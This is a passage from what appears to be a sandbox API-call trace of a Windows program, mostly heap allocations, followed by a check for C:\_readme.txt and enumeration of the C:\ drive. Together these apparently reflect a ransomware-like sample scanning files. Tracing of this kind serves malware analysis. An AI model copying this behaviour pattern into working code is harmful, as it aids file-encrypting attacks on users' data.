hHeap=0x5b0000) returned 1 [0122.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.179] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.179] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.179] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.179] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.179] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.179] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.179] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.179] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.179] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.182] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.182] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.182] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.182] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.182] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.182] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.182] PathFindFileNameW (pszPath="") returned="" [0122.182] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.182] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.183] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x800) returned 0x307ad38 [0122.183] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.183] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x30667b8 [0122.183] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018658 [0122.183] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.183] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.183] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018658 | out: hHeap=0x5b0000) returned 1 [0122.183] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.183] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x806) returned 0x307ad38 [0122.183] PathAppendW (in: pszPath="C:\\", pMore="_readme.txt" | out: pszPath="C:\\_readme.txt") returned 1 [0122.183] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x30667b8 [0122.183] PathFileExistsW (pszPath="C:\\_readme.txt") returned 1 [0122.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.187] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x2ffa828 [0122.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018658 [0122.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc540 [0122.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018658 | out: hHeap=0x5b0000) returned 1 [0122.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc578 [0122.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x3018658 [0122.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc5b0 [0122.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc578 | out: hHeap=0x5b0000) returned 1 [0122.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc540 | out: hHeap=0x5b0000) returned 1 [0122.188] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13deb6b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13deb6b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0122.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30186d0 [0122.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x38) returned 0x2ffa868 [0122.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc540 [0122.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc5b0 | out: hHeap=0x5b0000) returned 1 [0122.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018658 | out: hHeap=0x5b0000) returned 1 [0122.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018658 [0122.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30186d0 | out: hHeap=0x5b0000) returned 1 [0122.188] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0122.188] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0122.188] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x13a33450, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a33450, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0122.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30186d0 [0122.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x54) returned 0x2ff0720 [0122.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc5b0 [0122.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018720 [0122.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc540 | out: hHeap=0x5b0000) returned 1 [0122.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018658 | out: hHeap=0x5b0000) returned 1 [0122.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2ffa868 | out: hHeap=0x5b0000) returned 1 [0122.188] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018658 [0122.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.188] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30186d0 | out: hHeap=0x5b0000) returned 1 [0122.189] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0122.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda10 [0122.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdd9c8 [0122.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x3006a28 [0122.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc540 [0122.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30186d0 [0122.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc5b0 | out: hHeap=0x5b0000) returned 1 [0122.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018720 | out: hHeap=0x5b0000) returned 1 [0122.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018658 | out: hHeap=0x5b0000) returned 1 [0122.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2ff0720 | out: hHeap=0x5b0000) returned 1 [0122.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda58 [0122.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdd9c8 | out: hHeap=0x5b0000) returned 1 [0122.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdda10 | out: hHeap=0x5b0000) returned 1 [0122.189] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x2b0ea840, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0122.189] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0122.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018658 [0122.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018720 [0122.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa8) returned 0x2f650e0 [0122.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc5b0 [0122.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda10 [0122.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc540 | out: hHeap=0x5b0000) returned 1 [0122.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30186d0 | out: hHeap=0x5b0000) returned 1 [0122.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdda58 | out: hHeap=0x5b0000) returned 1 [0122.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3006a28 | out: hHeap=0x5b0000) returned 1 [0122.189] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018720 | out: hHeap=0x5b0000) returned 1 [0122.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018658 | out: hHeap=0x5b0000) returned 1 [0122.189] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x2b1109a0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0122.189] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0122.190] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018658 [0122.190] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018720 [0122.190] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30186d0 [0122.190] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018720 | out: hHeap=0x5b0000) returned 1 [0122.190] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018658 | out: hHeap=0x5b0000) returned 1 [0122.190] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d4bb90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x1d4bb90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0122.190] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc540 [0122.190] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc578 [0122.190] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfc) returned 0x2fefeb8 [0122.190] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc5e8 [0122.190] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018658 [0122.190] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018720 [0122.190] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda58 [0122.190] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018798 [0122.190] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.190] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc5b0 | out: hHeap=0x5b0000) returned 1 [0122.190] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.190] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.190] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdda10 | out: hHeap=0x5b0000) returned 1 [0122.190] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.190] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30186d0 | out: hHeap=0x5b0000) returned 1 [0122.190] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f650e0 | out: hHeap=0x5b0000) returned 1 [0122.190] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc5b0 [0122.190] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, 